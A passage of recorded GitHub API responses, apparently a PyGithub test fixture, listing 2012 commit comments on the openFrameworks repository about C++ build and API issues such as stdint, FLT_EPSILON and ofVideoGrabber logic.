debug\"/"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1623259","html_url":"https://github.com/openframeworks/openFrameworks/commit/c6a00e66e69ed6af630bac98108cd020cf3030d6#commitcomment-1623259","id":1623259,"user":{"login":"jvcleave","id":150037,"avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9c0384a91739bea093f453cf40a59742","url":"https://api.github.com/users/jvcleave","html_url":"https://github.com/jvcleave","followers_url":"https://api.github.com/users/jvcleave/followers","following_url":"https://api.github.com/users/jvcleave/following{/other_user}","gists_url":"https://api.github.com/users/jvcleave/gists{/gist_id}","starred_url":"https://api.github.com/users/jvcleave/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvcleave/subscriptions","organizations_url":"https://api.github.com/users/jvcleave/orgs","repos_url":"https://api.github.com/users/jvcleave/repos","events_url":"https://api.github.com/users/jvcleave/events{/privacy}","received_events_url":"https://api.github.com/users/jvcleave/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"c6a00e66e69ed6af630bac98108cd020cf3030d6","created_at":"2012-07-24T18:35:01Z","updated_at":"2012-07-24T18:35:01Z","body":"just so you are aware - the commented documentation just above waitForThread references the old stopThread(bool) method"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1648277","html_url":"https://github.com/openframeworks/openFrameworks/commit/7709a23aef3bea47da65aa661b157f414522b4dc#commitcomment-1648277","id":1648277,"user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following{/other_user}","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"7709a23aef3bea47da65aa661b157f414522b4dc","created_at":"2012-07-30T18:31:16Z","updated_at":"2012-07-30T18:31:16Z","body":"This is strange also since it was working fine with VS and CB when I made the change. :P"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1648418","html_url":"https://github.com/openframeworks/openFrameworks/commit/7709a23aef3bea47da65aa661b157f414522b4dc#commitcomment-1648418","id":1648418,"user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following{/other_user}","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"7709a23aef3bea47da65aa661b157f414522b4dc","created_at":"2012-07-30T18:55:30Z","updated_at":"2012-07-30T18:55:30Z","body":".. but now testing this version, it works fine for me in both VS2010 and Win CB ... weird."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1648465","html_url":"https://github.com/openframeworks/openFrameworks/commit/7709a23aef3bea47da65aa661b157f414522b4dc#commitcomment-1648465","id":1648465,"user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"7709a23aef3bea47da65aa661b157f414522b4dc","created_at":"2012-07-30T19:06:14Z","updated_at":"2012-07-30T19:06:14Z","body":"in vs2010 you should use stdint, not a typedef for int32_t, etc"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1648472","html_url":"https://github.com/openframeworks/openFrameworks/commit/7709a23aef3bea47da65aa661b157f414522b4dc#commitcomment-1648472","id":1648472,"user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following{/other_user}","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"7709a23aef3bea47da65aa661b157f414522b4dc","created_at":"2012-07-30T19:07:22Z","updated_at":"2012-07-30T19:07:22Z","body":"stdint wasn't available before vs2010."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1648522","html_url":"https://github.com/openframeworks/openFrameworks/commit/7709a23aef3bea47da65aa661b157f414522b4dc#commitcomment-1648522","id":1648522,"user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"7709a23aef3bea47da65aa661b157f414522b4dc","created_at":"2012-07-30T19:20:15Z","updated_at":"2012-07-30T19:20:15Z","body":"exactly! :)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1672820","html_url":"https://github.com/openframeworks/openFrameworks/commit/6ac467ad637f79140bb7692d5c2a559771da2049#commitcomment-1672820","id":1672820,"user":{"login":"gameoverhack","id":331599,"avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"397ac2141aace0681a354185e7efb0f1","url":"https://api.github.com/users/gameoverhack","html_url":"https://github.com/gameoverhack","followers_url":"https://api.github.com/users/gameoverhack/followers","following_url":"https://api.github.com/users/gameoverhack/following{/other_user}","gists_url":"https://api.github.com/users/gameoverhack/gists{/gist_id}","starred_url":"https://api.github.com/users/gameoverhack/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gameoverhack/subscriptions","organizations_url":"https://api.github.com/users/gameoverhack/orgs","repos_url":"https://api.github.com/users/gameoverhack/repos","events_url":"https://api.github.com/users/gameoverhack/events{/privacy}","received_events_url":"https://api.github.com/users/gameoverhack/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"6ac467ad637f79140bb7692d5c2a559771da2049","created_at":"2012-08-05T17:28:31Z","updated_at":"2012-08-05T17:28:31Z","body":"on windows we need to #include for FLT_EPSILON to be defined"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1672829","html_url":"https://github.com/openframeworks/openFrameworks/commit/6ac467ad637f79140bb7692d5c2a559771da2049#commitcomment-1672829","id":1672829,"user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following{/other_user}","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"6ac467ad637f79140bb7692d5c2a559771da2049","created_at":"2012-08-05T17:30:11Z","updated_at":"2012-08-05T17:30:11Z","body":"actually we should `#include ` but yes."}] https GET api.github.com None /repositories/345337/comments?per_page=100&page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4874'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '160904'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 19 Jun 2013 10:28:42 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a3e035a1aeb9a4a31629a5537db4a857"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 19 Jun 2013 10:31:33 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1672832","html_url":"https://github.com/openframeworks/openFrameworks/commit/6ac467ad637f79140bb7692d5c2a559771da2049#commitcomment-1672832","id":1672832,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"6ac467ad637f79140bb7692d5c2a559771da2049","created_at":"2012-08-05T17:31:46Z","updated_at":"2012-08-05T17:31:46Z","body":"do you wanna fix that immediately or open an issue?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1673022","html_url":"https://github.com/openframeworks/openFrameworks/commit/6ac467ad637f79140bb7692d5c2a559771da2049#commitcomment-1673022","id":1673022,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"6ac467ad637f79140bb7692d5c2a559771da2049","created_at":"2012-08-05T19:29:14Z","updated_at":"2012-08-05T19:29:14Z","body":"@bilderbuchi already fixed with: https://github.com/openframeworks/openFrameworks/commit/0a8815e65a5c1c27be956286730f5e8b8fa21689"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1673051","html_url":"https://github.com/openframeworks/openFrameworks/commit/cde2170b9424b62d31e2bb1b9968241698875441#commitcomment-1673051","id":1673051,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"cde2170b9424b62d31e2bb1b9968241698875441","created_at":"2012-08-05T19:48:37Z","updated_at":"2012-08-05T19:48:37Z","body":"@benben will be happy to see this! thanks :-)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1673101","html_url":"https://github.com/openframeworks/openFrameworks/commit/0a8815e65a5c1c27be956286730f5e8b8fa21689#commitcomment-1673101","id":1673101,"user":{"login":"bakercp","id":300484,"avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following{/other_user}","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"0a8815e65a5c1c27be956286730f5e8b8fa21689","created_at":"2012-08-05T20:20:10Z","updated_at":"2012-08-05T20:20:10Z","body":"Nice. Thanks."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1673122","html_url":"https://github.com/openframeworks/openFrameworks/commit/0a8815e65a5c1c27be956286730f5e8b8fa21689#commitcomment-1673122","id":1673122,"user":{"login":"bakercp","id":300484,"avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following{/other_user}","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"0a8815e65a5c1c27be956286730f5e8b8fa21689","created_at":"2012-08-05T20:28:04Z","updated_at":"2012-08-05T20:28:04Z","body":"Out of curiosity -- would this affect ofMap with ios? It too uses the same epsilon value and only includes \"float.h\" in the implementation file."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1675259","html_url":"https://github.com/openframeworks/openFrameworks/commit/918b8b9a9e27fe1289d5ccd8162094eec41e468f#commitcomment-1675259","id":1675259,"user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following{/other_user}","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"position":24,"line":404,"path":"libs/openFrameworks/graphics/ofPolyline.cpp","commit_id":"918b8b9a9e27fe1289d5ccd8162094eec41e468f","created_at":"2012-08-06T13:13:15Z","updated_at":"2012-08-06T13:13:15Z","body":"hi @kylemcdonald,\nthis line is causing issues with my existing code.\njust wondering why the function has changed to const?\ncan't seem to find an easy way of getting the bounding box without getting compiler errors..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1675305","html_url":"https://github.com/openframeworks/openFrameworks/commit/918b8b9a9e27fe1289d5ccd8162094eec41e468f#commitcomment-1675305","id":1675305,"user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following{/other_user}","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"position":24,"line":404,"path":"libs/openFrameworks/graphics/ofPolyline.cpp","commit_id":"918b8b9a9e27fe1289d5ccd8162094eec41e468f","created_at":"2012-08-06T13:22:47Z","updated_at":"2012-08-06T13:22:47Z","body":"sorry, please ignore this comment.\ncompiler was stuck... rebuilding OF fixed it."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1686925","html_url":"https://github.com/openframeworks/openFrameworks/commit/3c31bbf76f40213e7bbad8b1c42a2d2e07f8eac5#commitcomment-1686925","id":1686925,"user":{"login":"gameoverhack","id":331599,"avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"397ac2141aace0681a354185e7efb0f1","url":"https://api.github.com/users/gameoverhack","html_url":"https://github.com/gameoverhack","followers_url":"https://api.github.com/users/gameoverhack/followers","following_url":"https://api.github.com/users/gameoverhack/following{/other_user}","gists_url":"https://api.github.com/users/gameoverhack/gists{/gist_id}","starred_url":"https://api.github.com/users/gameoverhack/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gameoverhack/subscriptions","organizations_url":"https://api.github.com/users/gameoverhack/orgs","repos_url":"https://api.github.com/users/gameoverhack/repos","events_url":"https://api.github.com/users/gameoverhack/events{/privacy}","received_events_url":"https://api.github.com/users/gameoverhack/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"3c31bbf76f40213e7bbad8b1c42a2d2e07f8eac5","created_at":"2012-08-08T14:02:09Z","updated_at":"2012-08-08T14:02:09Z","body":"@arturoc ofBuffer & operator=(const string & text); needs to return an ofBuffer"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1686959","html_url":"https://github.com/openframeworks/openFrameworks/commit/3c31bbf76f40213e7bbad8b1c42a2d2e07f8eac5#commitcomment-1686959","id":1686959,"user":{"login":"gameoverhack","id":331599,"avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"397ac2141aace0681a354185e7efb0f1","url":"https://api.github.com/users/gameoverhack","html_url":"https://github.com/gameoverhack","followers_url":"https://api.github.com/users/gameoverhack/followers","following_url":"https://api.github.com/users/gameoverhack/following{/other_user}","gists_url":"https://api.github.com/users/gameoverhack/gists{/gist_id}","starred_url":"https://api.github.com/users/gameoverhack/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gameoverhack/subscriptions","organizations_url":"https://api.github.com/users/gameoverhack/orgs","repos_url":"https://api.github.com/users/gameoverhack/repos","events_url":"https://api.github.com/users/gameoverhack/events{/privacy}","received_events_url":"https://api.github.com/users/gameoverhack/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"3c31bbf76f40213e7bbad8b1c42a2d2e07f8eac5","created_at":"2012-08-08T14:08:30Z","updated_at":"2012-08-08T14:08:30Z","body":"is it ok for me to just fix these little bugs directly and make a commit on develop?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1686998","html_url":"https://github.com/openframeworks/openFrameworks/commit/3c31bbf76f40213e7bbad8b1c42a2d2e07f8eac5#commitcomment-1686998","id":1686998,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"3c31bbf76f40213e7bbad8b1c42a2d2e07f8eac5","created_at":"2012-08-08T14:16:13Z","updated_at":"2012-08-08T14:16:13Z","body":"thanks, it's fixed now. i think as long as it is something so obvious/small as this it is ok, in case of doubt better to ask in a comment like this"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1794298","html_url":"https://github.com/openframeworks/openFrameworks/commit/a0fb4ac19525659f7ea41af0d3ab5dcb088c0e21#commitcomment-1794298","id":1794298,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":56,"line":109,"path":"libs/openFrameworks/video/ofVideoGrabber.cpp","commit_id":"a0fb4ac19525659f7ea41af0d3ab5dcb088c0e21","created_at":"2012-08-31T15:55:57Z","updated_at":"2012-08-31T15:55:57Z","body":"isn't the logic wonky here? `if grabber==NULL then return true` shouldn't that return false?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1794380","html_url":"https://github.com/openframeworks/openFrameworks/commit/a0fb4ac19525659f7ea41af0d3ab5dcb088c0e21#commitcomment-1794380","id":1794380,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":56,"line":109,"path":"libs/openFrameworks/video/ofVideoGrabber.cpp","commit_id":"a0fb4ac19525659f7ea41af0d3ab5dcb088c0e21","created_at":"2012-08-31T16:15:22Z","updated_at":"2012-08-31T16:15:22Z","body":"You can set the pixelFormat before the grabber exists, so setting the format was successful. \nHowever it might be that when the grabber is set it doesn't support that format, but that should be handled later. \n\nI see what you mean - it does seem wonky but it is intentional. \nI'll double check it though! "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1794515","html_url":"https://github.com/openframeworks/openFrameworks/commit/a0fb4ac19525659f7ea41af0d3ab5dcb088c0e21#commitcomment-1794515","id":1794515,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":56,"line":109,"path":"libs/openFrameworks/video/ofVideoGrabber.cpp","commit_id":"a0fb4ac19525659f7ea41af0d3ab5dcb088c0e21","created_at":"2012-08-31T16:40:31Z","updated_at":"2012-08-31T16:41:01Z","body":"OK, thanks. :-)\nI 